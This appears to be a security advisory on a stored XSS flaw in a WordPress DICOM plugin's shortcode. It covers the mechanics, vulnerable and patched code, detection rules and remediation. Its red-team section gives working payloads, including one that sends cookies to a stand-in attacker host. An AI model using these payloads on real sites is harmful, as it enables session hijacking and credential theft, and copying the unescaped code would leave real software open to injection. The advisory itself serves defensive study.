CVE-2024-12623

Executive Summary

CVE-2024-12623 is a Stored Cross-Site Scripting (XSS) vulnerability found in the DICOM Support plugin for WordPress, affecting all versions up to and including 0.10.6. The flaw resides in the plugin's dcm shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When other users (including administrators) view the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used to display DICOM medical images, making this a significant risk for healthcare-related WordPress sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access, but the low complexity and potential for privilege escalation via XSS make this a serious threat.

Deep Dive & Mechanics

The vulnerability exists in the dcm shortcode handler. When a user with Contributor-level or higher privileges creates or edits a post/page, they can insert the [dcm] shortcode with custom attributes (e.g., [dcm src="javascript:alert(1)"]). The plugin fails to properly sanitize these attributes before outputting them into the page's HTML. Because the shortcode output is stored in the database, the XSS payload persists and executes for every visitor.

The attack flow:

1. Attacker logs in with Contributor-level access.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts the [dcm] shortcode with a malicious src attribute containing JavaScript.
4. The plugin stores the shortcode in the database without proper escaping.
5. When any user (including admins) views the page, the browser renders the malicious script.
6. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 0.10.6):

// In the shortcode handler, attributes are directly echoed without escaping
function dcm_shortcode($atts) {
    $src = $atts['src'];
    echo "<img src='$src' />";
}

Patched Code (hypothetical fix):

function dcm_shortcode($atts) {
    $src = esc_url($atts['src']); // Properly escape URL
    echo "<img src='" . esc_attr($src) . "' />";
}

The fix involves using WordPress's built-in esc_url() and esc_attr() functions to sanitize and escape user input before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with DICOM Support plugin <= 0.10.6
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. In the content editor, insert the following shortcode:

   [dcm src="javascript:alert(document.cookie)"]
   

4. Publish the post.
5. When an administrator views the post, the JavaScript executes, displaying their cookies.

Advanced Payload:

[dcm src="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team

Detection:

• Monitor for posts/pages containing [dcm shortcode with suspicious attributes.
• Look for src attributes containing javascript: or other non-standard protocols.
• Review user activity logs for Contributor-level users creating posts with unusual shortcodes.

Prevention:

• Disable the DICOM Support plugin until a patch is available.
• Restrict Contributor-level users from using shortcodes via user role plugins.
• Implement a Web Application Firewall (WAF) rule to block javascript: in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/dicom-support/dicom-support.php (version <= 0.10.6)
• Database: Posts/pages containing [dcm src="javascript: pattern
• Network: Outbound connections to attacker-controlled domains from WordPress admin pages
• Logs: WordPress audit logs showing Contributor-level users creating posts with [dcm shortcode

Detection Engineering

YARA Rule

rule CVE_2024_12623_DICOM_XSS {
    meta:
        description = "Detects malicious DICOM Support shortcode attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12623"
    strings:
        $shortcode = /\[dcm\s+[^\]]*src\s*=\s*["']javascript:/i
        $payload = /javascript:\s*\w+/
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-12623 DICOM Support XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via DICOM Support shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '[dcm'
            - 'src=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12623 DICOM Support XSS Attempt"; flow:to_server,established; content:"[dcm"; http_uri; content:"src=javascript:"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the DICOM Support plugin until a patched version is released.
2. Review all posts/pages for malicious shortcode injections and remove them.
3. Change all WordPress admin passwords and force logout of all sessions.

Long-term Fix:

• Apply the official patch when released by the plugin vendor.
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress's esc_url() and esc_attr() functions for user-supplied data.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Restrict shortcode usage to Administrator-level users only.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT